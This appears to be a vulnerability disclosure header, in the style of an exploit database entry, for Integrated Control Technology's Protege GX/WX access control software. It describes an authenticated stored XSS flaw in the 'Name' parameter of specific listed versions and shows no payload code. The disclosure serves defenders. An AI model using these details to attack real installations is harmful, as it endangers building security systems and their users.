  # Exploit Author: LiquidWorm
  
  Vendor: Integrated Control Technology Ltd.
  Product web page: https://www.ict.co
  Affected version: GX: Ver: 2.08.1002 K1B3
  Lib: 04.00.217
  Int: 2.3.235.J013
  OS: 2.0.20

  Summary: Protege GX is an enterprise level integrated access control, intrusion
  detection and building automation solution with a feature set that is easy to
  operate, simple to integrate and effortless to extend. Protege WX is an all-in-one,
  web-based, cross-platform system that gives you a fully functional access control
  and intrusion detection solution in a fraction of the time of conventional software.
  With no software to install, setup is quick and simple. Connect the Controller and
  system components, then open a web browser to launch the intuitive wizard-driven
  interface which guides you through the process of configuring your system.
  
  Desc: The application suffers from an authenticated stored XSS vulnerability.
  The issue is triggered when input passed to the 'Name' parameter is not properly
  sanitized before being returned to the user. This can be exploited to execute
  arbitrary HTML and script code in a user's browser session in context of an
  affected site.
  
  Tested on: Microsoft-WinCE/6.00
